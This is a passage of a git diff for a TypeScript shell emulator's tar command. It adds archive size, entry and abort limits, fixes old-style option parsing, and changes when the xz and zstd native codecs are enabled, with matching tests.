+ * @param options.allowNativeCodecs - Set false to reject xz compression
  *   to avoid passing attacker-controlled bytes to native addons (node-liblzma).
  */
 export async function createXzCompressedArchive(
   entries: TarCreateEntry[],
-  options?: { allowNativeCodecs?: boolean },
+  options?: ArchiveCreationLimits & { allowNativeCodecs?: boolean },
 ): Promise<Uint8Array> {
-  if (!options?.allowNativeCodecs) {
+  const limits = resolveCreationLimits(options);
+  if (
+    options?.allowNativeCodecs === false ||
+    !limits.allowTrustedWholeBufferCodecs
+  ) {
+    throw new Error(
+      "xz compression is disabled by configuration. Enable native and trusted whole-buffer codecs to use it.",
+    );
+  }
+  const tarBuffer = await createArchive(entries, limits);
+  const compressed = await compressXz(tarBuffer);
+  limits.signal?.throwIfAborted();
+  if (compressed.length > limits.maxCompressedSize) {
     throw new Error(
-      "xz compression is disabled by default (native codec risk). " +
-        "Pass { allowNativeCodecs: true } to opt in.",
+      `xz archive: output exceeds limit (${limits.maxCompressedSize} bytes)`,
     );
   }
-  const tarBuffer = await createArchive(entries);
-  return compressXz(tarBuffer);
+  return compressed;
 }
 
 /**
@@ -423,25 +757,33 @@ export async function createXzCompressedArchive(
  */
 export async function parseBzip2CompressedArchive(
   data: Uint8Array,
+  options?: ArchiveCreationLimits & { maxDecompressedSize?: number },
 ): Promise<{ entries: ParsedEntry[]; error?: string }> {
-  if (data.length > MAX_ARCHIVE_SIZE) {
+  const limits = resolveCreationLimits({
+    ...options,
+    maxArchiveSize: options?.maxDecompressedSize ?? options?.maxArchiveSize,
+  });
+  if (data.length > limits.maxCompressedSize) {
     return {
       entries: [],
-      error: `Archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+      error: `Archive too large (max ${limits.maxCompressedSize} bytes)`,
     };
   }
 
   try {
-    const tarBuffer = await decompressBzip2(data);
-    if (tarBuffer.length > MAX_ARCHIVE_SIZE) {
+    const tarBuffer = await decompressBzip2(data, limits);
+    return parseArchive(tarBuffer, limits);
+  } catch (e) {
+    const msg = e instanceof Error ? e.message : "Unknown error";
+    if (
+      msg ===
+      `bzip2 archive: output exceeds limit (${limits.maxArchiveSize} bytes)`
+    ) {
       return {
         entries: [],
-        error: `Decompressed archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+        error: `Decompressed archive too large (max ${limits.maxArchiveSize} bytes)`,
       };
     }
-    return parseArchive(tarBuffer);
-  } catch (e) {
-    const msg = e instanceof Error ? e.message : "Unknown error";
     return { entries: [], error: msg };
   }
 }
@@ -451,38 +793,42 @@ export async function parseBzip2CompressedArchive(
  *
  * @param data - Raw archive bytes
  * @param options - Options controlling decompression behavior
- * @param options.allowNativeCodecs - When false (default), rejects xz decompression
+ * @param options.allowNativeCodecs - Set false to reject xz decompression
  *   to avoid passing untrusted bytes to native addons (node-liblzma).
  */
 export async function parseXzCompressedArchive(
   data: Uint8Array,
-  options?: { allowNativeCodecs?: boolean },
+  options?: ArchiveCreationLimits & { allowNativeCodecs?: boolean },
 ): Promise<{ entries: ParsedEntry[]; error?: string }> {
-  if (!options?.allowNativeCodecs) {
+  const limits = resolveCreationLimits(options);
+  if (
+    options?.allowNativeCodecs === false ||
+    !limits.allowTrustedWholeBufferCodecs
+  ) {
     return {
       entries: [],
       error:
-        "xz decompression is disabled by default (native codec risk). " +
-        "Pass { allowNativeCodecs: true } to opt in, or decompress the archive externally before extraction.",
+        "xz decompression is disabled by configuration. Enable native and trusted whole-buffer codecs, or decompress the archive externally before extraction.",
     };
   }
 
-  if (data.length > MAX_ARCHIVE_SIZE) {
+  if (data.length > limits.maxCompressedSize) {
     return {
       entries: [],
-      error: `Archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+      error: `Archive too large (max ${limits.maxCompressedSize} bytes)`,
     };
   }
 
   try {
     const tarBuffer = await decompressXz(data);
-    if (tarBuffer.length > MAX_ARCHIVE_SIZE) {
+    limits.signal?.throwIfAborted();
+    if (tarBuffer.length > limits.maxArchiveSize) {
       return {
         entries: [],
-        error: `Decompressed archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+        error: `Trusted xz codec produced data over limit (${limits.maxArchiveSize} bytes)`,
       };
     }
-    return parseArchive(tarBuffer);
+    return parseArchive(tarBuffer, limits);
   } catch (e) {
     const msg = e instanceof Error ? e.message : "Unknown error";
     return { entries: [], error: msg };
@@ -525,21 +871,31 @@ async function decompressZstd(data: Uint8Array): Promise<Uint8Array> {
  *
  * @param entries - Archive entries to include
  * @param options - Options controlling compression behavior
- * @param options.allowNativeCodecs - When false (default), rejects zstd compression
+ * @param options.allowNativeCodecs - Set false to reject zstd compression
  *   to avoid passing attacker-controlled bytes to native addons (@mongodb-js/zstd).
  */
 export async function createZstdCompressedArchive(
   entries: TarCreateEntry[],
-  options?: { allowNativeCodecs?: boolean },
+  options?: ArchiveCreationLimits & { allowNativeCodecs?: boolean },
 ): Promise<Uint8Array> {
-  if (!options?.allowNativeCodecs) {
+  const limits = resolveCreationLimits(options);
+  if (
+    options?.allowNativeCodecs === false ||
+    !limits.allowTrustedWholeBufferCodecs
+  ) {
+    throw new Error(
+      "zstd compression is disabled by configuration. Enable native and trusted whole-buffer codecs to use it.",
+    );
+  }
+  const tarBuffer = await createArchive(entries, limits);
+  const compressed = await compressZstd(tarBuffer);
+  limits.signal?.throwIfAborted();
+  if (compressed.length > limits.maxCompressedSize) {
     throw new Error(
-      "zstd compression is disabled by default (native codec risk). " +
-        "Pass { allowNativeCodecs: true } to opt in.",
+      `zstd archive: output exceeds limit (${limits.maxCompressedSize} bytes)`,
     );
   }
-  const tarBuffer = await createArchive(entries);
-  return compressZstd(tarBuffer);
+  return compressed;
 }
 
 /**
@@ -547,38 +903,42 @@ export async function createZstdCompressedArchive(
  *
  * @param data - Raw archive bytes
  * @param options - Options controlling decompression behavior
- * @param options.allowNativeCodecs - When false (default), rejects zstd decompression
+ * @param options.allowNativeCodecs - Set false to reject zstd decompression
  *   to avoid passing untrusted bytes to native addons (@mongodb-js/zstd).
  */
 export async function parseZstdCompressedArchive(
   data: Uint8Array,
-  options?: { allowNativeCodecs?: boolean },
+  options?: ArchiveCreationLimits & { allowNativeCodecs?: boolean },
 ): Promise<{ entries: ParsedEntry[]; error?: string }> {
-  if (!options?.allowNativeCodecs) {
+  const limits = resolveCreationLimits(options);
+  if (
+    options?.allowNativeCodecs === false ||
+    !limits.allowTrustedWholeBufferCodecs
+  ) {
     return {
       entries: [],
       error:
-        "zstd decompression is disabled by default (native codec risk). " +
-        "Pass { allowNativeCodecs: true } to opt in, or decompress the archive externally before extraction.",
+        "zstd decompression is disabled by configuration. Enable native and trusted whole-buffer codecs, or decompress the archive externally before extraction.",
     };
   }
 
-  if (data.length > MAX_ARCHIVE_SIZE) {
+  if (data.length > limits.maxCompressedSize) {
     return {
       entries: [],
-      error: `Archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+      error: `Archive too large (max ${limits.maxCompressedSize} bytes)`,
     };
   }
 
   try {
     const tarBuffer = await decompressZstd(data);
-    if (tarBuffer.length > MAX_ARCHIVE_SIZE) {
+    limits.signal?.throwIfAborted();
+    if (tarBuffer.length > limits.maxArchiveSize) {
       return {
         entries: [],
-        error: `Decompressed archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+        error: `Trusted zstd codec produced data over limit (${limits.maxArchiveSize} bytes)`,
       };
     }
-    return parseArchive(tarBuffer);
+    return parseArchive(tarBuffer, limits);
   } catch (e) {
     const msg = e instanceof Error ? e.message : "Unknown error";
     return { entries: [], error: msg };
diff --git a/packages/just-bash/src/commands/tar/bzip2-compress.ts b/packages/just-bash/src/commands/tar/bzip2-compress.ts
index 1d81f491..74c75a2c 100644
--- a/packages/just-bash/src/commands/tar/bzip2-compress.ts
+++ b/packages/just-bash/src/commands/tar/bzip2-compress.ts
@@ -33,12 +33,27 @@ class BitWriter {
   private current = 0;
   private bitCount = 0;
 
+  constructor(private readonly maxOutputBytes = Number.MAX_SAFE_INTEGER) {
+    if (!Number.isSafeInteger(maxOutputBytes) || maxOutputBytes < 0) {
+      throw new Error("Invalid bzip2 output limit");
+    }
+  }
+
+  private pushByte(value: number): void {
+    if (this.buffer.length >= this.maxOutputBytes) {
+      throw new Error(
+        `bzip2 output exceeds limit (${this.maxOutputBytes} bytes)`,
+      );
+    }
+    this.buffer.push(value);
+  }
+
   writeBits(n: number, value: number): void {
     for (let i = n - 1; i >= 0; i--) {
       this.current = (this.current << 1) | ((value >>> i) & 1);
       this.bitCount++;
       if (this.bitCount === 8) {
-        this.buffer.push(this.current);
+        this.pushByte(this.current);
         this.current = 0;
         this.bitCount = 0;
       }
@@ -49,7 +64,7 @@ class BitWriter {
     this.current = (this.current << 1) | (value & 1);
     this.bitCount++;
     if (this.bitCount === 8) {
-      this.buffer.push(this.current);
+      this.pushByte(this.current);
       this.current = 0;
       this.bitCount = 0;
     }
@@ -57,7 +72,7 @@ class BitWriter {
 
   finish(): Uint8Array {
     if (this.bitCount > 0) {
-      this.buffer.push(this.current << (8 - this.bitCount));
+      this.pushByte(this.current << (8 - this.bitCount));
     }
     return new Uint8Array(this.buffer);
   }
@@ -701,12 +716,14 @@ const DEFAULT_MAX_COMPRESS_SIZE = 10 * 1024 * 1024;
  * @param data - Input data to compress
  * @param blockSizeLevel - Block size level 1-9 (x 100KB), default 9
  * @param maxSize - Maximum input size in bytes (default 10MB)
+ * @param maxOutputSize - Maximum compressed bytes, enforced while writing
  * @returns Compressed bzip2 data
  */
 export function bzip2Compress(
   data: Uint8Array,
   blockSizeLevel: number = 9,
   maxSize: number = DEFAULT_MAX_COMPRESS_SIZE,
+  maxOutputSize: number = Number.MAX_SAFE_INTEGER,
 ): Uint8Array {
   if (blockSizeLevel < 1 || blockSizeLevel > 9) {
     throw new Error("Block size level must be 1-9");
@@ -718,7 +735,7 @@ export function bzip2Compress(
   }
 
   const blockSize = blockSizeLevel * 100000;
-  const writer = new BitWriter();
+  const writer = new BitWriter(maxOutputSize);
 
   // Stream header
   writer.writeBits(8, 0x42); // 'B'
diff --git a/packages/just-bash/src/commands/tar/tar-options.security.test.ts b/packages/just-bash/src/commands/tar/tar-options.security.test.ts
new file mode 100644
index 00000000..14b79b6b
--- /dev/null
+++ b/packages/just-bash/src/commands/tar/tar-options.security.test.ts
@@ -0,0 +1,50 @@
+import { describe, expect, it } from "vitest";
+import { parseOptions } from "./tar-options.js";
+
+describe("tar old-style option parsing", () => {
+  it("consumes value-taking options in their original bundle order", () => {
+    const parsed = parseOptions(["cCf", "source-dir", "archive.tar", "file"]);
+    expect(parsed).toEqual({
+      ok: true,
+      options: expect.objectContaining({
+        create: true,
+        directory: "source-dir",
+        file: "archive.tar",
+      }),
+      files: ["file"],
+    });
+  });
+
+  it("consumes a distinct argv value for every value-taking letter", () => {
+    const parsed = parseOptions([
+      "cCTXf",
+      "source-dir",
+      "files.list",
+      "exclude.list",
+      "archive.tar",
+      "payload",
+    ]);
+    expect(parsed).toEqual({
+      ok: true,
+      options: expect.objectContaining({
+        create: true,
+        directory: "source-dir",
+        filesFrom: "files.list",
+        excludeFrom: "exclude.list",
+        file: "archive.tar",
+      }),
+      files: ["payload"],
+    });
+  });
+
+  it("rejects a missing later option value instead of shifting operands", () => {
+    const parsed = parseOptions(["cCf", "source-dir"]);
+    expect(parsed).toMatchObject({
+      ok: false,
+      error: {
+        stderr: "tar: option requires an argument -- 'f'\n",
+        exitCode: 2,
+      },
+    });
+  });
+});
diff --git a/packages/just-bash/src/commands/tar/tar-options.ts b/packages/just-bash/src/commands/tar/tar-options.ts
index 27168a0c..b57496c7 100644
--- a/packages/just-bash/src/commands/tar/tar-options.ts
+++ b/packages/just-bash/src/commands/tar/tar-options.ts
@@ -36,16 +36,13 @@ export function parseOptions(
 ):
   | { ok: true; options: TarOptions; files: string[] }
   | { ok: false; error: ExecResult } {
-  // GNU old-style: bare first arg is a flag bundle. Value-taking letters
-  // (f, C, T, X) must be terminal or they swallow the rest as their value;
-  // move them to the end.
-  const valueTaking = /[fCTX]/g;
+  // GNU old-style syntax takes option arguments from the following argv
+  // entries, in the same order as their letters appear in the bundle. Expand
+  // it into ordinary one-letter options without ever treating later option
+  // letters as an attached value.
   const args =
     rawArgs.length > 0 && rawArgs[0] !== "" && !rawArgs[0].startsWith("-")
-      ? [
-          `-${rawArgs[0].replace(valueTaking, "") + (rawArgs[0].match(valueTaking) ?? []).join("")}`,
-          ...rawArgs.slice(1),
-        ]
+      ? expandOldStyleOptions(rawArgs)
       : rawArgs;
   const options: TarOptions = {
     create: false,
@@ -371,3 +368,20 @@ export function parseOptions(
 
   return { ok: true, options, files };
 }
+
+function expandOldStyleOptions(rawArgs: string[]): string[] {
+  const bundle = rawArgs[0];
+  const expanded: string[] = [];
+  let valueIndex = 1;
+
+  for (const option of bundle) {
+    expanded.push(`-${option}`);
+    if ("fCTX".includes(option) && valueIndex < rawArgs.length) {
+      expanded.push(rawArgs[valueIndex]);
+      valueIndex++;
+    }
+  }
+
+  expanded.push(...rawArgs.slice(valueIndex));
+  return expanded;
+}
diff --git a/packages/just-bash/src/commands/tar/tar.binary.test.ts b/packages/just-bash/src/commands/tar/tar.binary.test.ts
index eae497fd..6ddad4f7 100644
--- a/packages/just-bash/src/commands/tar/tar.binary.test.ts
+++ b/packages/just-bash/src/commands/tar/tar.binary.test.ts
@@ -112,7 +112,7 @@ describe("tar with binary data", () => {
       expect(result.stdout).toBe("bzip2 content");
     });
 
-    it("should reject xz compression by default", async () => {
+    it("should preserve xz compression by default", async () => {
       const env = new Bash({
         files: {
           "/src/file.txt": "xz content",
@@ -122,11 +122,14 @@ describe("tar with binary data", () => {
       const result = await env.exec(
         "tar -cJf /archive.tar.xz -C /src file.txt",
       );
-      expect(result.exitCode).toBe(2);
-      expect(result.stderr).toContain("disabled by default");
+      expect(result.exitCode).toBe(0);
+      const extract = await env.exec(
+        "mkdir /xz-out && tar -xJf /archive.tar.xz -C /xz-out && cat /xz-out/file.txt",
+      );
+      expect(extract.stdout).toBe("xz content");
     });
 
-    it("should reject zstd compression by default", async () => {
+    it("should preserve zstd compression by default", async () => {
       const env = new Bash({
         files: {
           "/src/file.txt": "zstd content",
@@ -136,8 +139,11 @@ describe("tar with binary data", () => {
       const result = await env.exec(
         "tar --zstd -cf /archive.tar.zst -C /src file.txt",
       );
-      expect(result.exitCode).toBe(2);
-      expect(result.stderr).toContain("disabled by default");
+      expect(result.exitCode).toBe(0);
+      const extract = await env.exec(
+        "mkdir /zstd-out && tar --zstd -xf /archive.tar.zst -C /zstd-out && cat /zstd-out/file.txt",
+      );
+      expect(extract.stdout).toBe("zstd content");
     });
   });
 
diff --git a/packages/just-bash/src/commands/tar/tar.bundle.test.ts b/packages/just-bash/src/commands/tar/tar.bundle.test.ts
index 6bab89ba..ce6b1dce 100644
--- a/packages/just-bash/src/commands/tar/tar.bundle.test.ts
+++ b/packages/just-bash/src/commands/tar/tar.bundle.test.ts
@@ -98,22 +98,24 @@ cat /tmp/bz2out/file.txt
     expect(result.exitCode).toBe(0);
   });
 
-  it("should reject xz native codec by default", async () => {
+  it("should preserve xz codec behavior by default", async () => {
     const result = await runBin([
       "-c",
-      `tar -cJf /tmp/test.tar.xz -C /tmp file.txt 2>&1 || echo "XZ_REJECTED"`,
+      `echo xz > /tmp/file.txt; tar -cJf /tmp/test.tar.xz -C /tmp file.txt; tar -tJf /tmp/test.tar.xz`,
       "--allow-write",
     ]);
-    expect(result.stdout).toContain("XZ_REJECTED");
+    expect(result.stdout).toContain("file.txt");
+    expect(result.exitCode).toBe(0);
   });
 
-  it("should reject zstd native codec by default", async () => {
+  it("should preserve zstd codec behavior by default", async () => {
     const result = await runBin([
       "-c",
-      `tar --zstd -cf /tmp/test.tar.zst -C /tmp file.txt 2>&1 || echo "ZSTD_REJECTED"`,
+      `echo zstd > /tmp/file.txt; tar --zstd -cf /tmp/test.tar.zst -C /tmp file.txt; tar --zstd -tf /tmp/test.tar.zst`,
       "--allow-write",
     ]);
-    expect(result.stdout).toContain("ZSTD_REJECTED");
+    expect(result.stdout).toContain("file.txt");
+    expect(result.exitCode).toBe(0);
   });
 
   it("should auto-detect compression from filename (-a)", async () => {
diff --git a/packages/just-bash/src/commands/tar/tar.creation-limits.test.ts b/packages/just-bash/src/commands/tar/tar.creation-limits.test.ts
new file mode 100644
index 00000000..f405467f
--- /dev/null
+++ b/packages/just-bash/src/commands/tar/tar.creation-limits.test.ts
@@ -0,0 +1,63 @@
+import { describe, expect, it } from "vitest";
+import { ExecutionScope } from "../../execution-scope.js";
+import { resolveLimits } from "../../limits.js";
+import {
+  createArchive,
+  createBzip2CompressedArchive,
+  createCompressedArchive,
+} from "./archive.js";
+
+describe("tar creation limits", () => {
+  it("rejects an excessive entry count before packing", async () => {
+    await expect(
+      createArchive(
+        [
+          { name: "one", content: "1" },
+          { name: "two", content: "2" },
+        ],
+        { maxEntries: 1 },
+      ),
+    ).rejects.toThrow("Too many archive entries (max 1)");
+  });
+
+  it("rejects aggregate content before packing or compressing", async () => {
+    const entries = [{ name: "payload", content: new Uint8Array(4096) }];
+
+    await expect(
+      createArchive(entries, { maxArchiveSize: 2048 }),
+    ).rejects.toThrow("Archive too large (max 2048 bytes)");
+    await expect(
+      createCompressedArchive(entries, { maxArchiveSize: 2048 }),
+    ).rejects.toThrow("Archive too large (max 2048 bytes)");
+  });
+
+  it("accounts for attacker-controlled PAX metadata before packing", async () => {
+    const longName = `${"directory/".repeat(80)}payload`;
+
+    await expect(
+      createArchive([{ name: longName, content: "x" }], {
+        maxArchiveSize: 2048,
+      }),
+    ).rejects.toThrow("Archive too large (max 2048 bytes)");
+  });
+
+  it("bounds bzip2 output while the bitstream is written", async () => {
+    await expect(
+      createBzip2CompressedArchive(
+        [{ name: "payload", content: "data that must produce output" }],
+        { maxArchiveSize: 8192, maxCompressedSize: 4 },
+      ),
+    ).rejects.toThrow("bzip2 output exceeds limit (4 bytes)");
+  });
+
+  it("reserves archive construction against the shared live-byte budget", async () => {
+    const scope = new ExecutionScope(resolveLimits({ maxLiveBytes: 1024 }));
+
+    await expect(
+      createArchive([{ name: "payload", content: "x" }], {
+        maxArchiveSize: 8192,
+        executionScope: scope,
+      }),
+    ).rejects.toThrow("live byte limit exceeded (1024 bytes)");
+  });
+});
diff --git a/packages/just-bash/src/commands/tar/tar.decompression-limits.test.ts b/packages/just-bash/src/commands/tar/tar.decompression-limits.test.ts
new file mode 100644
index 00000000..302b1f39
--- /dev/null
+++ b/packages/just-bash/src/commands/tar/tar.decompression-limits.test.ts
@@ -0,0 +1,94 @@
+import { describe, expect, it } from "vitest";
+import {
+  createArchive,
+  createBzip2CompressedArchive,
+  createCompressedArchive,
+  parseArchive,
+  parseBzip2CompressedArchive,
+  parseCompressedArchive,
+  parseXzCompressedArchive,
+} from "./archive.js";
+
+describe("tar decompression limits", () => {
+  it("stops bzip2 decoding before exceeding the configured output ceiling", async () => {
+    const compressed = await createBzip2CompressedArchive([
+      { name: "payload.txt", content: "A".repeat(4096) },
+    ]);
+
+    const result = await parseBzip2CompressedArchive(compressed, {
+      maxDecompressedSize: 1024,
+    });
+
+    expect(result.entries).toEqual([]);
+    expect(result.error).toBe(
+      "Decompressed archive too large (max 1024 bytes)",
+    );
+  });
+
+  it("still parses bzip2 archives below the ceiling", async () => {
+    const compressed = await createBzip2CompressedArchive([
+      { name: "small.txt", content: "safe" },
+    ]);
+
+    const result = await parseBzip2CompressedArchive(compressed, {
+      maxDecompressedSize: 4096,
+    });
+
+    expect(result.error).toBeUndefined();
+    expect(result.entries.map((entry) => entry.name)).toEqual(["small.txt"]);
+  });
+
+  it("stops gzip expansion while chunks are being decoded", async () => {
+    const compressed = await createCompressedArchive([
+      { name: "payload.txt", content: "A".repeat(16_384) },
+    ]);
+
+    const result = await parseCompressedArchive(compressed, {
+      maxArchiveSize: 1024,
+      maxCompressedSize: 1024 * 1024,
+    });
+
+    expect(result.entries).toEqual([]);
+    expect(result.error).toContain("output exceeds limit (1024 bytes)");
+  });
+
+  it("honors cancellation inside the byte-oriented bzip2 decoder", async () => {
+    const compressed = await createBzip2CompressedArchive([
+      { name: "payload.txt", content: "A".repeat(4096) },
+    ]);
+    const controller = new AbortController();
+    controller.abort();
+
+    const result = await parseBzip2CompressedArchive(compressed, {
+      signal: controller.signal,
+    });
+
+    expect(result.entries).toEqual([]);
+    expect(result.error).toBe("bzip2 archive: operation aborted");
+  });
+
+  it("validates every entry before returning any extraction candidates", async () => {
+    const archive = await createArchive([
+      { name: "safe.txt", content: "safe" },
+      { name: "oversized.txt", content: "X".repeat(1024) },
+    ]);
+
+    const result = await parseArchive(archive, { maxEntrySize: 100 });
+
+    expect(result.entries).toEqual([]);
+    expect(result.error).toBe("Archive entry too large (max 100 bytes)");
+  });
+
+  it("does not invoke XZ when native code alone is opted in", async () => {
+    const result = await parseXzCompressedArchive(
+      new Uint8Array([0xfd, 0x37, 0x7a, 0x58, 0x5a, 0]),
+      {
+        allowNativeCodecs: true,
+        allowTrustedWholeBufferCodecs: false,
+      },
+    );
+
+    expect(result.entries).toEqual([]);
+    expect(result.error).toContain("disabled by configuration");
+  });
+});
diff --git a/packages/just-bash/src/commands/tar/tar.security.test.ts b/packages/just-bash/src/commands/tar/tar.security.test.ts
index b1385273..48e810c8 100644
--- a/packages/just-bash/src/commands/tar/tar.security.test.ts
+++ b/packages/just-bash/src/commands/tar/tar.security.test.ts
@@ -70,53 +70,38 @@ describe("tar security hardening", () => {
     expect(await env.fs.exists("/safe/link.txt")).toBe(false);
   });
 
-  it("blocks xz encode and decode by default (native codec risk)", async () => {
-    const env = new Bash({
-      files: {
-        "/payload.bin": new Uint8Array([
-          0x00, 0x01, 0x02, 0x03, 0x7f, 0x80, 0xff, 0xfe,
-        ]),
-      },
-    });
-
-    // Encode (create) should be blocked
-    const createResult = await env.exec(
-      "tar -cJf /payload.tar.xz /payload.bin",
-    );
-    expect(createResult.stderr).toContain(
-      "xz compression is disabled by default (native codec risk)",
-    );
-    expect(createResult.exitCode).toBe(2);
-  });
-
-  // Direct unit tests for archive-level native codec gates
-  it("createXzCompressedArchive rejects by default", async () => {
+  // Direct unit tests for the archive-level native codec opt-out.
+  it("createXzCompressedArchive honors an explicit opt-out", async () => {
     const entries = [{ name: "test.txt", content: "data" }];
-    await expect(createXzCompressedArchive(entries)).rejects.toThrow(
-      "xz compression is disabled by default",
-    );
+    await expect(
+      createXzCompressedArchive(entries, { allowNativeCodecs: false }),
+    ).rejects.toThrow("xz compression is disabled by configuration");
   });
 
-  it("createZstdCompressedArchive rejects by default", async () => {
+  it("createZstdCompressedArchive honors an explicit opt-out", async () => {
     const entries = [{ name: "test.txt", content: "data" }];
-    await expect(createZstdCompressedArchive(entries)).rejects.toThrow(
-      "zstd compression is disabled by default",
-    );
+    await expect(
+      createZstdCompressedArchive(entries, { allowNativeCodecs: false }),
+    ).rejects.toThrow("zstd compression is disabled by configuration");
   });
 
-  it("parseXzCompressedArchive rejects by default", async () => {
-    const result = await parseXzCompressedArchive(new Uint8Array([1, 2, 3]));
+  it("parseXzCompressedArchive honors an explicit opt-out", async () => {
+    const result = await parseXzCompressedArchive(new Uint8Array([1, 2, 3]), {
+      allowNativeCodecs: false,
+    });
     expect(result.entries).toEqual([]);
     expect(result.error).toContain(
-      "xz decompression is disabled by default (native codec risk)",
+      "xz decompression is disabled by configuration",
     );
   });
 
-  it("parseZstdCompressedArchive rejects by default", async () => {
-    const result = await parseZstdCompressedArchive(new Uint8Array([1, 2, 3]));
+  it("parseZstdCompressedArchive honors an explicit opt-out", async () => {
+    const result = await parseZstdCompressedArchive(new Uint8Array([1, 2, 3]), {
+      allowNativeCodecs: false,
+    });
     expect(result.entries).toEqual([]);
     expect(result.error).toContain(
-      "zstd decompression is disabled by default (native codec risk)",
+      "zstd decompression is disabled by configuration",
     );
   });
 });
diff --git a/packages/just-bash/src/commands/tar/tar.test.ts b/packages/just-bash/src/commands/tar/tar.test.ts
index 94c4df5e..74d12cac 100644
--- a/packages/just-bash/src/commands/tar/tar.test.ts
+++ b/packages/just-bash/src/commands/tar/tar.test.ts
@@ -481,16 +481,17 @@ describe("tar", () => {
   });
 
   describe("xz compression (-J)", () => {
-    it("should reject xz compression by default", async () => {
+    it("should preserve xz compression by default", async () => {
       const env = new Bash({
         files: {
           "/test.txt": "Hello, xz compressed World!",
         },
       });
       const result = await env.exec("tar -cJvf /archive.tar.xz /test.txt");
-      expect(result.exitCode).toBe(2);
-      expect(result.stderr).toContain("disabled by default");
-      expect(result.stderr).toContain("native codec");
+      expect(result.exitCode).toBe(0);
+      expect((await env.exec("tar -tJf /archive.tar.xz")).stdout).toContain(
+        "test.txt",
+      );
     });
   });
 
@@ -1078,7 +1079,7 @@ describe("tar", () => {
       expect(list.stdout).toContain("test.txt");
     });
 
-    it("should auto-detect xz from .tar.xz extension and block (native codec)", async () => {
+    it("should auto-detect xz from .tar.xz extension", async () => {
       const env = new Bash({
         files: {
           "/test.txt": "Hello World",
@@ -1086,11 +1087,13 @@ describe("tar", () => {
       });
 
       const result = await env.exec("tar -caf /archive.tar.xz /test.txt");
-      expect(result.exitCode).toBe(2);
-      expect(result.stderr).toContain("disabled by default");
+      expect(result.exitCode).toBe(0);
+      expect((await env.exec("tar -tf /archive.tar.xz")).stdout).toContain(
+        "test.txt",
+      );
     });
 
-    it("should auto-detect zstd from .tar.zst extension and block (native codec)", async () => {
+    it("should auto-detect zstd from .tar.zst extension", async () => {
       const env = new Bash({
         files: {
           "/test.txt": "Hello World",
@@ -1098,8 +1101,10 @@ describe("tar", () => {
       });
 
       const result = await env.exec("tar -caf /archive.tar.zst /test.txt");
-      expect(result.exitCode).toBe(2);
-      expect(result.stderr).toContain("disabled by default");
+      expect(result.exitCode).toBe(0);
+      expect((await env.exec("tar -tf /archive.tar.zst")).stdout).toContain(
+        "test.txt",
+      );
     });
 
     it("should create plain tar for .tar extension", async () => {
@@ -1248,7 +1253,7 @@ describe("tar", () => {
   });
 
   describe("zstd compression (--zstd)", () => {
-    it("should reject zstd compression by default", async () => {
+    it("should preserve zstd compression by default", async () => {
       const env = new Bash({
         files: {
           "/test.txt": "Hello World",
@@ -1258,9 +1263,10 @@ describe("tar", () => {
       const result = await env.exec(
         "tar --zstd -cf /archive.tar.zst /test.txt",
       );
-      expect(result.exitCode).toBe(2);
-      expect(result.stderr).toContain("disabled by default");
-      expect(result.stderr).toContain("native codec");
+      expect(result.exitCode).toBe(0);
+      expect(
+        (await env.exec("tar --zstd -tf /archive.tar.zst")).stdout,
+      ).toContain("test.txt");
     });
   });
 
diff --git a/packages/just-bash/src/commands/tar/tar.ts b/packages/just-bash/src/commands/tar/tar.ts
index c04149d9..6ce1770a 100644
--- a/packages/just-bash/src/commands/tar/tar.ts
+++ b/packages/just-bash/src/commands/tar/tar.ts
@@ -7,7 +7,11 @@
 
 import { latin1FromBytes } from "../../encoding.js";
 import { createUserRegex } from "../../regex/index.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { formatMode } from "../format-mode.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 import {
@@ -32,6 +36,25 @@ import { parseOptions, type TarOptions } from "./tar-options.js";
 
 const BATCH_SIZE = 100;
 
+function archiveLimits(ctx: RuntimeCommandContext) {
+  return {
+    maxArchiveSize: ctx.limits.maxArchiveBytes,
+    maxCompressedSize: ctx.limits.maxArchiveCompressedBytes,
+    maxEntrySize: ctx.limits.maxArchiveEntryBytes,
+    maxEntries: ctx.limits.maxArchiveEntries,
+    signal: ctx.signal,
+    executionScope: ctx.executionScope,
+  };
+}
+
+function isAborted(ctx: RuntimeCommandContext): boolean {
+  return ctx.signal?.aborted === true;
+}
+
+function abortedResult(): ExecResult {
+  return { stdout: "", stderr: "tar: operation aborted\n", exitCode: 126 };
+}
+
 const tarHelp = {
   name: "tar",
   summary: "manipulate tape archives",
@@ -207,7 +230,7 @@ function formatDate(date: Date): string {
  * Collect all files from a directory recursively
  */
 async function collectFiles(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   basePath: string,
   relativePath: string,
   exclude: string[],
@@ -216,8 +239,13 @@ async function collectFiles(
   const errors: string[] = [];
   const fullPath = ctx.fs.resolvePath(basePath, relativePath);
 
+  if (isAborted(ctx)) {
+    return { entries, errors: ["tar: operation aborted"] };
+  }
+
   try {
     const stat = await ctx.fs.stat(fullPath);
+    if (isAborted(ctx)) return { entries, errors: ["tar: operation aborted"] };
 
     if (matchesExclude(relativePath, exclude)) {
       return { entries, errors };
@@ -234,9 +262,13 @@ async function collectFiles(
 
       // Read directory contents
       const items = await ctx.fs.readdir(fullPath);
+      if (isAborted(ctx))
+        return { entries, errors: ["tar: operation aborted"] };
 
       // Process in batches
       for (let i = 0; i < items.length; i += BATCH_SIZE) {
+        if (isAborted(ctx))
+          return { entries, errors: ["tar: operation aborted"] };
         const batch = items.slice(i, i + BATCH_SIZE);
         const results = await Promise.all(
           batch.map((item) =>
@@ -256,6 +288,8 @@ async function collectFiles(
     } else if (stat.isFile) {
       // Read file content
       const content = await ctx.fs.readFileBuffer(fullPath);
+      if (isAborted(ctx))
+        return { entries, errors: ["tar: operation aborted"] };
       entries.push({
         name: relativePath,
         content,
@@ -265,6 +299,8 @@ async function collectFiles(
     } else if (stat.isSymbolicLink) {
       // Read symlink target
       const target = await ctx.fs.readlink(fullPath);
+      if (isAborted(ctx))
+        return { entries, errors: ["tar: operation aborted"] };
       entries.push({
         name: relativePath,
         isSymlink: true,
@@ -285,7 +321,7 @@ async function collectFiles(
  * Create a tar archive
  */
 async function createTarArchive(
